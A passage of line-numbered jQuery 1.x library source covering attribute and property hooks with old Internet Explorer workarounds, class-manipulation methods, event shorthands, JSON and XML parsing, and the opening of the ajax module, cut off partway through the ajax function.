8380 jQuery.valHooks[ this ].get = function( elem ) {
8381 return elem.getAttribute( "value" ) === null ? "on" : elem.value;
8382 };
8383 }
8384 } );
8385
8386
8387
8388
8389 var nodeHook, boolHook,
8390 attrHandle = jQuery.expr.attrHandle,
8391 ruseDefault = /^(?:checked|selected)$/i,
8392 getSetAttribute = support.getSetAttribute,
8393 getSetInput = support.input;
8394
8395 jQuery.fn.extend( {
8396 attr: function( name, value ) {
8397 return access( this, jQuery.attr, name, value, arguments.length > 1 );
8398 },
8399
8400 removeAttr: function( name ) {
8401 return this.each( function() {
8402 jQuery.removeAttr( this, name );
8403 } );
8404 }
8405 } );
8406
8407 jQuery.extend( {
8408 attr: function( elem, name, value ) {
8409 var ret, hooks,
8410 nType = elem.nodeType;
8411
8412 // Don't get/set attributes on text, comment and attribute nodes
8413 if ( nType === 3 || nType === 8 || nType === 2 ) {
8414 return;
8415 }
8416
8417 // Fallback to prop when attributes are not supported
8418 if ( typeof elem.getAttribute === "undefined" ) {
8419 return jQuery.prop( elem, name, value );
8420 }
8421
8422 // All attributes are lowercase
8423 // Grab necessary hook if one is defined
8424 if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
8425 name = name.toLowerCase();
8426 hooks = jQuery.attrHooks[ name ] ||
8427 ( jQuery.expr.match.bool.test( name ) ? boolHook : nodeHook );
8428 }
8429
8430 if ( value !== undefined ) {
8431 if ( value === null ) {
8432 jQuery.removeAttr( elem, name );
8433 return;
8434 }
8435
8436 if ( hooks && "set" in hooks &&
8437 ( ret = hooks.set( elem, value, name ) ) !== undefined ) {
8438 return ret;
8439 }
8440
8441 elem.setAttribute( name, value + "" );
8442 return value;
8443 }
8444
8445 if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
8446 return ret;
8447 }
8448
8449 ret = jQuery.find.attr( elem, name );
8450
8451 // Non-existent attributes return null, we normalize to undefined
8452 return ret == null ? undefined : ret;
8453 },
8454
8455 attrHooks: {
8456 type: {
8457 set: function( elem, value ) {
8458 if ( !support.radioValue && value === "radio" &&
8459 jQuery.nodeName( elem, "input" ) ) {
8460
8461 // Setting the type on a radio button after the value resets the value in IE8-9
8462 // Reset value to default in case type is set after value during creation
8463 var val = elem.value;
8464 elem.setAttribute( "type", value );
8465 if ( val ) {
8466 elem.value = val;
8467 }
8468 return value;
8469 }
8470 }
8471 }
8472 },
8473
8474 removeAttr: function( elem, value ) {
8475 var name, propName,
8476 i = 0,
8477 attrNames = value && value.match( rnotwhite );
8478
8479 if ( attrNames && elem.nodeType === 1 ) {
8480 while ( ( name = attrNames[ i++ ] ) ) {
8481 propName = jQuery.propFix[ name ] || name;
8482
8483 // Boolean attributes get special treatment (#10870)
8484 if ( jQuery.expr.match.bool.test( name ) ) {
8485
8486 // Set corresponding property to false
8487 if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {
8488 elem[ propName ] = false;
8489
8490 // Support: IE<9
8491 // Also clear defaultChecked/defaultSelected (if appropriate)
8492 } else {
8493 elem[ jQuery.camelCase( "default-" + name ) ] =
8494 elem[ propName ] = false;
8495 }
8496
8497 // See #9699 for explanation of this approach (setting first, then removal)
8498 } else {
8499 jQuery.attr( elem, name, "" );
8500 }
8501
8502 elem.removeAttribute( getSetAttribute ? name : propName );
8503 }
8504 }
8505 }
8506 } );
8507
8508// Hooks for boolean attributes
8509 boolHook = {
8510 set: function( elem, value, name ) {
8511 if ( value === false ) {
8512
8513 // Remove boolean attributes when set to false
8514 jQuery.removeAttr( elem, name );
8515 } else if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {
8516
8517 // IE<8 needs the *property* name
8518 elem.setAttribute( !getSetAttribute && jQuery.propFix[ name ] || name, name );
8519
8520 } else {
8521
8522 // Support: IE<9
8523 // Use defaultChecked and defaultSelected for oldIE
8524 elem[ jQuery.camelCase( "default-" + name ) ] = elem[ name ] = true;
8525 }
8526 return name;
8527 }
8528 };
8529
8530 jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) {
8531 var getter = attrHandle[ name ] || jQuery.find.attr;
8532
8533 if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {
8534 attrHandle[ name ] = function( elem, name, isXML ) {
8535 var ret, handle;
8536 if ( !isXML ) {
8537
8538 // Avoid an infinite loop by temporarily removing this function from the getter
8539 handle = attrHandle[ name ];
8540 attrHandle[ name ] = ret;
8541 ret = getter( elem, name, isXML ) != null ?
8542 name.toLowerCase() :
8543 null;
8544 attrHandle[ name ] = handle;
8545 }
8546 return ret;
8547 };
8548 } else {
8549 attrHandle[ name ] = function( elem, name, isXML ) {
8550 if ( !isXML ) {
8551 return elem[ jQuery.camelCase( "default-" + name ) ] ?
8552 name.toLowerCase() :
8553 null;
8554 }
8555 };
8556 }
8557 } );
8558
8559// fix oldIE attroperties
8560 if ( !getSetInput || !getSetAttribute ) {
8561 jQuery.attrHooks.value = {
8562 set: function( elem, value, name ) {
8563 if ( jQuery.nodeName( elem, "input" ) ) {
8564
8565 // Does not return so that setAttribute is also used
8566 elem.defaultValue = value;
8567 } else {
8568
8569 // Use nodeHook if defined (#1954); otherwise setAttribute is fine
8570 return nodeHook && nodeHook.set( elem, value, name );
8571 }
8572 }
8573 };
8574 }
8575
8576// IE6/7 do not support getting/setting some attributes with get/setAttribute
8577 if ( !getSetAttribute ) {
8578
8579 // Use this for any attribute in IE6/7
8580 // This fixes almost every IE6/7 issue
8581 nodeHook = {
8582 set: function( elem, value, name ) {
8583
8584 // Set the existing or create a new attribute node
8585 var ret = elem.getAttributeNode( name );
8586 if ( !ret ) {
8587 elem.setAttributeNode(
8588 ( ret = elem.ownerDocument.createAttribute( name ) )
8589 );
8590 }
8591
8592 ret.value = value += "";
8593
8594 // Break association with cloned elements by also using setAttribute (#9646)
8595 if ( name === "value" || value === elem.getAttribute( name ) ) {
8596 return value;
8597 }
8598 }
8599 };
8600
8601 // Some attributes are constructed with empty-string values when not defined
8602 attrHandle.id = attrHandle.name = attrHandle.coords =
8603 function( elem, name, isXML ) {
8604 var ret;
8605 if ( !isXML ) {
8606 return ( ret = elem.getAttributeNode( name ) ) && ret.value !== "" ?
8607 ret.value :
8608 null;
8609 }
8610 };
8611
8612 // Fixing value retrieval on a button requires this module
8613 jQuery.valHooks.button = {
8614 get: function( elem, name ) {
8615 var ret = elem.getAttributeNode( name );
8616 if ( ret && ret.specified ) {
8617 return ret.value;
8618 }
8619 },
8620 set: nodeHook.set
8621 };
8622
8623 // Set contenteditable to false on removals(#10429)
8624 // Setting to empty string throws an error as an invalid value
8625 jQuery.attrHooks.contenteditable = {
8626 set: function( elem, value, name ) {
8627 nodeHook.set( elem, value === "" ? false : value, name );
8628 }
8629 };
8630
8631 // Set width and height to auto instead of 0 on empty string( Bug #8150 )
8632 // This is for removals
8633 jQuery.each( [ "width", "height" ], function( i, name ) {
8634 jQuery.attrHooks[ name ] = {
8635 set: function( elem, value ) {
8636 if ( value === "" ) {
8637 elem.setAttribute( name, "auto" );
8638 return value;
8639 }
8640 }
8641 };
8642 } );
8643 }
8644
8645 if ( !support.style ) {
8646 jQuery.attrHooks.style = {
8647 get: function( elem ) {
8648
8649 // Return undefined in the case of empty string
8650 // Note: IE uppercases css property names, but if we were to .toLowerCase()
8651 // .cssText, that would destroy case sensitivity in URL's, like in "background"
8652 return elem.style.cssText || undefined;
8653 },
8654 set: function( elem, value ) {
8655 return ( elem.style.cssText = value + "" );
8656 }
8657 };
8658 }
8659
8660
8661
8662
8663 var rfocusable = /^(?:input|select|textarea|button|object)$/i,
8664 rclickable = /^(?:a|area)$/i;
8665
8666 jQuery.fn.extend( {
8667 prop: function( name, value ) {
8668 return access( this, jQuery.prop, name, value, arguments.length > 1 );
8669 },
8670
8671 removeProp: function( name ) {
8672 name = jQuery.propFix[ name ] || name;
8673 return this.each( function() {
8674
8675 // try/catch handles cases where IE balks (such as removing a property on window)
8676 try {
8677 this[ name ] = undefined;
8678 delete this[ name ];
8679 } catch ( e ) {}
8680 } );
8681 }
8682 } );
8683
8684 jQuery.extend( {
8685 prop: function( elem, name, value ) {
8686 var ret, hooks,
8687 nType = elem.nodeType;
8688
8689 // Don't get/set properties on text, comment and attribute nodes
8690 if ( nType === 3 || nType === 8 || nType === 2 ) {
8691 return;
8692 }
8693
8694 if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
8695
8696 // Fix name and attach hooks
8697 name = jQuery.propFix[ name ] || name;
8698 hooks = jQuery.propHooks[ name ];
8699 }
8700
8701 if ( value !== undefined ) {
8702 if ( hooks && "set" in hooks &&
8703 ( ret = hooks.set( elem, value, name ) ) !== undefined ) {
8704 return ret;
8705 }
8706
8707 return ( elem[ name ] = value );
8708 }
8709
8710 if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
8711 return ret;
8712 }
8713
8714 return elem[ name ];
8715 },
8716
8717 propHooks: {
8718 tabIndex: {
8719 get: function( elem ) {
8720
8721 // elem.tabIndex doesn't always return the
8722 // correct value when it hasn't been explicitly set
8723 // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
8724 // Use proper attribute retrieval(#12072)
8725 var tabindex = jQuery.find.attr( elem, "tabindex" );
8726
8727 return tabindex ?
8728 parseInt( tabindex, 10 ) :
8729 rfocusable.test( elem.nodeName ) ||
8730 rclickable.test( elem.nodeName ) && elem.href ?
8731 0 :
8732 -1;
8733 }
8734 }
8735 },
8736
8737 propFix: {
8738 "for": "htmlFor",
8739 "class": "className"
8740 }
8741 } );
8742
8743// Some attributes require a special call on IE
8744// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
8745 if ( !support.hrefNormalized ) {
8746
8747 // href/src property should get the full normalized URL (#10299/#12915)
8748 jQuery.each( [ "href", "src" ], function( i, name ) {
8749 jQuery.propHooks[ name ] = {
8750 get: function( elem ) {
8751 return elem.getAttribute( name, 4 );
8752 }
8753 };
8754 } );
8755 }
8756
8757// Support: Safari, IE9+
8758// Accessing the selectedIndex property
8759// forces the browser to respect setting selected
8760// on the option
8761// The getter ensures a default option is selected
8762// when in an optgroup
8763 if ( !support.optSelected ) {
8764 jQuery.propHooks.selected = {
8765 get: function( elem ) {
8766 var parent = elem.parentNode;
8767
8768 if ( parent ) {
8769 parent.selectedIndex;
8770
8771 // Make sure that it also works with optgroups, see #5701
8772 if ( parent.parentNode ) {
8773 parent.parentNode.selectedIndex;
8774 }
8775 }
8776 return null;
8777 },
8778 set: function( elem ) {
8779 var parent = elem.parentNode;
8780 if ( parent ) {
8781 parent.selectedIndex;
8782
8783 if ( parent.parentNode ) {
8784 parent.parentNode.selectedIndex;
8785 }
8786 }
8787 }
8788 };
8789 }
8790
8791 jQuery.each( [
8792 "tabIndex",
8793 "readOnly",
8794 "maxLength",
8795 "cellSpacing",
8796 "cellPadding",
8797 "rowSpan",
8798 "colSpan",
8799 "useMap",
8800 "frameBorder",
8801 "contentEditable"
8802 ], function() {
8803 jQuery.propFix[ this.toLowerCase() ] = this;
8804 } );
8805
8806// IE6/7 call enctype encoding
8807 if ( !support.enctype ) {
8808 jQuery.propFix.enctype = "encoding";
8809 }
8810
8811
8812
8813
8814 var rclass = /[\t\r\n\f]/g;
8815
8816 function getClass( elem ) {
8817 return jQuery.attr( elem, "class" ) || "";
8818 }
8819
8820 jQuery.fn.extend( {
8821 addClass: function( value ) {
8822 var classes, elem, cur, curValue, clazz, j, finalValue,
8823 i = 0;
8824
8825 if ( jQuery.isFunction( value ) ) {
8826 return this.each( function( j ) {
8827 jQuery( this ).addClass( value.call( this, j, getClass( this ) ) );
8828 } );
8829 }
8830
8831 if ( typeof value === "string" && value ) {
8832 classes = value.match( rnotwhite ) || [];
8833
8834 while ( ( elem = this[ i++ ] ) ) {
8835 curValue = getClass( elem );
8836 cur = elem.nodeType === 1 &&
8837 ( " " + curValue + " " ).replace( rclass, " " );
8838
8839 if ( cur ) {
8840 j = 0;
8841 while ( ( clazz = classes[ j++ ] ) ) {
8842 if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
8843 cur += clazz + " ";
8844 }
8845 }
8846
8847 // only assign if different to avoid unneeded rendering.
8848 finalValue = jQuery.trim( cur );
8849 if ( curValue !== finalValue ) {
8850 jQuery.attr( elem, "class", finalValue );
8851 }
8852 }
8853 }
8854 }
8855
8856 return this;
8857 },
8858
8859 removeClass: function( value ) {
8860 var classes, elem, cur, curValue, clazz, j, finalValue,
8861 i = 0;
8862
8863 if ( jQuery.isFunction( value ) ) {
8864 return this.each( function( j ) {
8865 jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );
8866 } );
8867 }
8868
8869 if ( !arguments.length ) {
8870 return this.attr( "class", "" );
8871 }
8872
8873 if ( typeof value === "string" && value ) {
8874 classes = value.match( rnotwhite ) || [];
8875
8876 while ( ( elem = this[ i++ ] ) ) {
8877 curValue = getClass( elem );
8878
8879 // This expression is here for better compressibility (see addClass)
8880 cur = elem.nodeType === 1 &&
8881 ( " " + curValue + " " ).replace( rclass, " " );
8882
8883 if ( cur ) {
8884 j = 0;
8885 while ( ( clazz = classes[ j++ ] ) ) {
8886
8887 // Remove *all* instances
8888 while ( cur.indexOf( " " + clazz + " " ) > -1 ) {
8889 cur = cur.replace( " " + clazz + " ", " " );
8890 }
8891 }
8892
8893 // Only assign if different to avoid unneeded rendering.
8894 finalValue = jQuery.trim( cur );
8895 if ( curValue !== finalValue ) {
8896 jQuery.attr( elem, "class", finalValue );
8897 }
8898 }
8899 }
8900 }
8901
8902 return this;
8903 },
8904
8905 toggleClass: function( value, stateVal ) {
8906 var type = typeof value;
8907
8908 if ( typeof stateVal === "boolean" && type === "string" ) {
8909 return stateVal ? this.addClass( value ) : this.removeClass( value );
8910 }
8911
8912 if ( jQuery.isFunction( value ) ) {
8913 return this.each( function( i ) {
8914 jQuery( this ).toggleClass(
8915 value.call( this, i, getClass( this ), stateVal ),
8916 stateVal
8917 );
8918 } );
8919 }
8920
8921 return this.each( function() {
8922 var className, i, self, classNames;
8923
8924 if ( type === "string" ) {
8925
8926 // Toggle individual class names
8927 i = 0;
8928 self = jQuery( this );
8929 classNames = value.match( rnotwhite ) || [];
8930
8931 while ( ( className = classNames[ i++ ] ) ) {
8932
8933 // Check each className given, space separated list
8934 if ( self.hasClass( className ) ) {
8935 self.removeClass( className );
8936 } else {
8937 self.addClass( className );
8938 }
8939 }
8940
8941 // Toggle whole class name
8942 } else if ( value === undefined || type === "boolean" ) {
8943 className = getClass( this );
8944 if ( className ) {
8945
8946 // store className if set
8947 jQuery._data( this, "__className__", className );
8948 }
8949
8950 // If the element has a class name or if we're passed "false",
8951 // then remove the whole classname (if there was one, the above saved it).
8952 // Otherwise bring back whatever was previously saved (if anything),
8953 // falling back to the empty string if nothing was stored.
8954 jQuery.attr( this, "class",
8955 className || value === false ?
8956 "" :
8957 jQuery._data( this, "__className__" ) || ""
8958 );
8959 }
8960 } );
8961 },
8962
8963 hasClass: function( selector ) {
8964 var className, elem,
8965 i = 0;
8966
8967 className = " " + selector + " ";
8968 while ( ( elem = this[ i++ ] ) ) {
8969 if ( elem.nodeType === 1 &&
8970 ( " " + getClass( elem ) + " " ).replace( rclass, " " )
8971 .indexOf( className ) > -1
8972 ) {
8973 return true;
8974 }
8975 }
8976
8977 return false;
8978 }
8979 } );
8980
8981
8982
8983
8984// Return jQuery for attributes-only inclusion
8985
8986
8987 jQuery.each( ( "blur focus focusin focusout load resize scroll unload click dblclick " +
8988 "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
8989 "change select submit keydown keypress keyup error contextmenu" ).split( " " ),
8990 function( i, name ) {
8991
8992 // Handle event binding
8993 jQuery.fn[ name ] = function( data, fn ) {
8994 return arguments.length > 0 ?
8995 this.on( name, null, data, fn ) :
8996 this.trigger( name );
8997 };
8998 } );
8999
9000 jQuery.fn.extend( {
9001 hover: function( fnOver, fnOut ) {
9002 return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
9003 }
9004 } );
9005
9006
9007 var location = window.location;
9008
9009 var nonce = jQuery.now();
9010
9011 var rquery = ( /\?/ );
9012
9013
9014
9015 var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
9016
9017 jQuery.parseJSON = function( data ) {
9018
9019 // Attempt to parse using the native JSON parser first
9020 if ( window.JSON && window.JSON.parse ) {
9021
9022 // Support: Android 2.3
9023 // Workaround failure to string-cast null input
9024 return window.JSON.parse( data + "" );
9025 }
9026
9027 var requireNonComma,
9028 depth = null,
9029 str = jQuery.trim( data + "" );
9030
9031 // Guard against invalid (and possibly dangerous) input by ensuring that nothing remains
9032 // after removing valid tokens
9033 return str && !jQuery.trim( str.replace( rvalidtokens, function( token, comma, open, close ) {
9034
9035 // Force termination if we see a misplaced comma
9036 if ( requireNonComma && comma ) {
9037 depth = 0;
9038 }
9039
9040 // Perform no more replacements after returning to outermost depth
9041 if ( depth === 0 ) {
9042 return token;
9043 }
9044
9045 // Commas must not follow "[", "{", or ","
9046 requireNonComma = open || comma;
9047
9048 // Determine new depth
9049 // array/object open ("[" or "{"): depth += true - false (increment)
9050 // array/object close ("]" or "}"): depth += false - true (decrement)
9051 // other cases ("," or primitive): depth += true - true (numeric cast)
9052 depth += !close - !open;
9053
9054 // Remove this token
9055 return "";
9056 } ) ) ?
9057 ( Function( "return " + str ) )() :
9058 jQuery.error( "Invalid JSON: " + data );
9059 };
9060
9061
9062// Cross-browser xml parsing
9063 jQuery.parseXML = function( data ) {
9064 var xml, tmp;
9065 if ( !data || typeof data !== "string" ) {
9066 return null;
9067 }
9068 try {
9069 if ( window.DOMParser ) { // Standard
9070 tmp = new window.DOMParser();
9071 xml = tmp.parseFromString( data, "text/xml" );
9072 } else { // IE
9073 xml = new window.ActiveXObject( "Microsoft.XMLDOM" );
9074 xml.async = "false";
9075 xml.loadXML( data );
9076 }
9077 } catch ( e ) {
9078 xml = undefined;
9079 }
9080 if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) {
9081 jQuery.error( "Invalid XML: " + data );
9082 }
9083 return xml;
9084 };
9085
9086
9087 var
9088 rhash = /#.*$/,
9089 rts = /([?&])_=[^&]*/,
9090
9091 // IE leaves an \r character at EOL
9092 rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
9093
9094 // #7653, #8125, #8152: local protocol detection
9095 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
9096 rnoContent = /^(?:GET|HEAD)$/,
9097 rprotocol = /^\/\//,
9098 rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
9099
9100 /* Prefilters
9101 * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
9102 * 2) These are called:
9103 * - BEFORE asking for a transport
9104 * - AFTER param serialization (s.data is a string if s.processData is true)
9105 * 3) key is the dataType
9106 * 4) the catchall symbol "*" can be used
9107 * 5) execution will start with transport dataType and THEN continue down to "*" if needed
9108 */
9109 prefilters = {},
9110
9111 /* Transports bindings
9112 * 1) key is the dataType
9113 * 2) the catchall symbol "*" can be used
9114 * 3) selection will start with transport dataType and THEN go to "*" if needed
9115 */
9116 transports = {},
9117
9118 // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
9119 allTypes = "*/".concat( "*" ),
9120
9121 // Document location
9122 ajaxLocation = location.href,
9123
9124 // Segment location into parts
9125 ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];
9126
9127// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
9128 function addToPrefiltersOrTransports( structure ) {
9129
9130 // dataTypeExpression is optional and defaults to "*"
9131 return function( dataTypeExpression, func ) {
9132
9133 if ( typeof dataTypeExpression !== "string" ) {
9134 func = dataTypeExpression;
9135 dataTypeExpression = "*";
9136 }
9137
9138 var dataType,
9139 i = 0,
9140 dataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || [];
9141
9142 if ( jQuery.isFunction( func ) ) {
9143
9144 // For each dataType in the dataTypeExpression
9145 while ( ( dataType = dataTypes[ i++ ] ) ) {
9146
9147 // Prepend if requested
9148 if ( dataType.charAt( 0 ) === "+" ) {
9149 dataType = dataType.slice( 1 ) || "*";
9150 ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );
9151
9152 // Otherwise append
9153 } else {
9154 ( structure[ dataType ] = structure[ dataType ] || [] ).push( func );
9155 }
9156 }
9157 }
9158 };
9159 }
9160
9161// Base inspection function for prefilters and transports
9162 function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {
9163
9164 var inspected = {},
9165 seekingTransport = ( structure === transports );
9166
9167 function inspect( dataType ) {
9168 var selected;
9169 inspected[ dataType ] = true;
9170 jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
9171 var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
9172 if ( typeof dataTypeOrTransport === "string" &&
9173 !seekingTransport && !inspected[ dataTypeOrTransport ] ) {
9174
9175 options.dataTypes.unshift( dataTypeOrTransport );
9176 inspect( dataTypeOrTransport );
9177 return false;
9178 } else if ( seekingTransport ) {
9179 return !( selected = dataTypeOrTransport );
9180 }
9181 } );
9182 return selected;
9183 }
9184
9185 return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
9186 }
9187
9188// A special extend for ajax options
9189// that takes "flat" options (not to be deep extended)
9190// Fixes #9887
9191 function ajaxExtend( target, src ) {
9192 var deep, key,
9193 flatOptions = jQuery.ajaxSettings.flatOptions || {};
9194
9195 for ( key in src ) {
9196 if ( src[ key ] !== undefined ) {
9197 ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];
9198 }
9199 }
9200 if ( deep ) {
9201 jQuery.extend( true, target, deep );
9202 }
9203
9204 return target;
9205 }
9206
9207 /* Handles responses to an ajax request:
9208 * - finds the right dataType (mediates between content-type and expected dataType)
9209 * - returns the corresponding response
9210 */
9211 function ajaxHandleResponses( s, jqXHR, responses ) {
9212 var firstDataType, ct, finalDataType, type,
9213 contents = s.contents,
9214 dataTypes = s.dataTypes;
9215
9216 // Remove auto dataType and get content-type in the process
9217 while ( dataTypes[ 0 ] === "*" ) {
9218 dataTypes.shift();
9219 if ( ct === undefined ) {
9220 ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" );
9221 }
9222 }
9223
9224 // Check if we're dealing with a known content-type
9225 if ( ct ) {
9226 for ( type in contents ) {
9227 if ( contents[ type ] && contents[ type ].test( ct ) ) {
9228 dataTypes.unshift( type );
9229 break;
9230 }
9231 }
9232 }
9233
9234 // Check to see if we have a response for the expected dataType
9235 if ( dataTypes[ 0 ] in responses ) {
9236 finalDataType = dataTypes[ 0 ];
9237 } else {
9238
9239 // Try convertible dataTypes
9240 for ( type in responses ) {
9241 if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) {
9242 finalDataType = type;
9243 break;
9244 }
9245 if ( !firstDataType ) {
9246 firstDataType = type;
9247 }
9248 }
9249
9250 // Or just use first one
9251 finalDataType = finalDataType || firstDataType;
9252 }
9253
9254 // If we found a dataType
9255 // We add the dataType to the list if needed
9256 // and return the corresponding response
9257 if ( finalDataType ) {
9258 if ( finalDataType !== dataTypes[ 0 ] ) {
9259 dataTypes.unshift( finalDataType );
9260 }
9261 return responses[ finalDataType ];
9262 }
9263 }
9264
9265 /* Chain conversions given the request and the original response
9266 * Also sets the responseXXX fields on the jqXHR instance
9267 */
9268 function ajaxConvert( s, response, jqXHR, isSuccess ) {
9269 var conv2, current, conv, tmp, prev,
9270 converters = {},
9271
9272 // Work with a copy of dataTypes in case we need to modify it for conversion
9273 dataTypes = s.dataTypes.slice();
9274
9275 // Create converters map with lowercased keys
9276 if ( dataTypes[ 1 ] ) {
9277 for ( conv in s.converters ) {
9278 converters[ conv.toLowerCase() ] = s.converters[ conv ];
9279 }
9280 }
9281
9282 current = dataTypes.shift();
9283
9284 // Convert to each sequential dataType
9285 while ( current ) {
9286
9287 if ( s.responseFields[ current ] ) {
9288 jqXHR[ s.responseFields[ current ] ] = response;
9289 }
9290
9291 // Apply the dataFilter if provided
9292 if ( !prev && isSuccess && s.dataFilter ) {
9293 response = s.dataFilter( response, s.dataType );
9294 }
9295
9296 prev = current;
9297 current = dataTypes.shift();
9298
9299 if ( current ) {
9300
9301 // There's only work to do if current dataType is non-auto
9302 if ( current === "*" ) {
9303
9304 current = prev;
9305
9306 // Convert response if prev dataType is non-auto and differs from current
9307 } else if ( prev !== "*" && prev !== current ) {
9308
9309 // Seek a direct converter
9310 conv = converters[ prev + " " + current ] || converters[ "* " + current ];
9311
9312 // If none found, seek a pair
9313 if ( !conv ) {
9314 for ( conv2 in converters ) {
9315
9316 // If conv2 outputs current
9317 tmp = conv2.split( " " );
9318 if ( tmp[ 1 ] === current ) {
9319
9320 // If prev can be converted to accepted input
9321 conv = converters[ prev + " " + tmp[ 0 ] ] ||
9322 converters[ "* " + tmp[ 0 ] ];
9323 if ( conv ) {
9324
9325 // Condense equivalence converters
9326 if ( conv === true ) {
9327 conv = converters[ conv2 ];
9328
9329 // Otherwise, insert the intermediate dataType
9330 } else if ( converters[ conv2 ] !== true ) {
9331 current = tmp[ 0 ];
9332 dataTypes.unshift( tmp[ 1 ] );
9333 }
9334 break;
9335 }
9336 }
9337 }
9338 }
9339
9340 // Apply converter (if not an equivalence)
9341 if ( conv !== true ) {
9342
9343 // Unless errors are allowed to bubble, catch and return them
9344 if ( conv && s[ "throws" ] ) { // jscs:ignore requireDotNotation
9345 response = conv( response );
9346 } else {
9347 try {
9348 response = conv( response );
9349 } catch ( e ) {
9350 return {
9351 state: "parsererror",
9352 error: conv ? e : "No conversion from " + prev + " to " + current
9353 };
9354 }
9355 }
9356 }
9357 }
9358 }
9359 }
9360
9361 return { state: "success", data: response };
9362 }
9363
9364 jQuery.extend( {
9365
9366 // Counter for holding the number of active queries
9367 active: 0,
9368
9369 // Last-Modified header cache for next request
9370 lastModified: {},
9371 etag: {},
9372
9373 ajaxSettings: {
9374 url: ajaxLocation,
9375 type: "GET",
9376 isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),
9377 global: true,
9378 processData: true,
9379 async: true,
9380 contentType: "application/x-www-form-urlencoded; charset=UTF-8",
9381 /*
9382 timeout: 0,
9383 data: null,
9384 dataType: null,
9385 username: null,
9386 password: null,
9387 cache: null,
9388 throws: false,
9389 traditional: false,
9390 headers: {},
9391 */
9392
9393 accepts: {
9394 "*": allTypes,
9395 text: "text/plain",
9396 html: "text/html",
9397 xml: "application/xml, text/xml",
9398 json: "application/json, text/javascript"
9399 },
9400
9401 contents: {
9402 xml: /\bxml\b/,
9403 html: /\bhtml/,
9404 json: /\bjson\b/
9405 },
9406
9407 responseFields: {
9408 xml: "responseXML",
9409 text: "responseText",
9410 json: "responseJSON"
9411 },
9412
9413 // Data converters
9414 // Keys separate source (or catchall "*") and destination types with a single space
9415 converters: {
9416
9417 // Convert anything to text
9418 "* text": String,
9419
9420 // Text to html (true = no transformation)
9421 "text html": true,
9422
9423 // Evaluate text as a json expression
9424 "text json": jQuery.parseJSON,
9425
9426 // Parse text as xml
9427 "text xml": jQuery.parseXML
9428 },
9429
9430 // For options that shouldn't be deep extended:
9431 // you can add your own custom options here if
9432 // and when you create one that shouldn't be
9433 // deep extended (see ajaxExtend)
9434 flatOptions: {
9435 url: true,
9436 context: true
9437 }
9438 },
9439
9440 // Creates a full fledged settings object into target
9441 // with both ajaxSettings and settings fields.
9442 // If target is omitted, writes into ajaxSettings.
9443 ajaxSetup: function( target, settings ) {
9444 return settings ?
9445
9446 // Building a settings object
9447 ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :
9448
9449 // Extending ajaxSettings
9450 ajaxExtend( jQuery.ajaxSettings, target );
9451 },
9452
9453 ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
9454 ajaxTransport: addToPrefiltersOrTransports( transports ),
9455
9456 // Main method
9457 ajax: function( url, options ) {
9458
9459 // If url is an object, simulate pre-1.5 signature
9460 if ( typeof url === "object" ) {
9461 options = url;
9462 url = undefined;
9463 }
9464
9465 // Force options to be an object
9466 options = options || {};
9467
9468 var
9469
9470 // Cross-domain detection vars
9471 parts,
9472
9473 // Loop variable
9474 i,
9475
9476 // URL without anti-cache param
9477 cacheURL,
9478
9479 // Response headers as string
9480 responseHeadersString,
9481
9482 // timeout handle
9483 timeoutTimer,
9484
9485 // To know if global events are to be dispatched
9486 fireGlobals,
9487
9488 transport,
9489
9490 // Response headers
9491 responseHeaders,
9492
9493 // Create the final options object
9494 s = jQuery.ajaxSetup( {}, options ),
9495
9496 // Callbacks context
9497 callbackContext = s.context || s,
9498
9499 // Context for global events is callbackContext if it is a DOM node or jQuery collection
9500 globalEventContext = s.context &&
9501 ( callbackContext.nodeType || callbackContext.jquery ) ?
9502 jQuery( callbackContext ) :
9503 jQuery.event,
9504
9505 // Deferreds
9506 deferred = jQuery.Deferred(),
9507 completeDeferred = jQuery.Callbacks( "once memory" ),
9508
9509 // Status-dependent callbacks
9510 statusCode = s.statusCode || {},
9511
9512 // Headers (they are sent all at once)
9513 requestHeaders = {},
9514 requestHeadersNames = {},
9515
9516 // The jqXHR state
9517 state = 0,
9518
9519 // Default abort message
9520 strAbort = "canceled",
9521
9522 // Fake xhr
9523 jqXHR = {
9524 readyState: 0,
9525
